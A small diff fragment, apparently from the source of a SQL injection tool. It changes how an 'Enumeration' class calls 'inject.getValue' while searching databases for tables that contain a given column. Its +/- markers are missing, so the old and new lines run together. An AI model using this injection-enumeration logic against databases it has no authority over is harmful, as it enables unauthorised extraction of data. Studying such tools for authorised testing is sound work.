warnMsg = "no tables contain column"
@ -1874,7 +1874,7 @@ class Enumeration:
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
if tbl not in dbs[db]: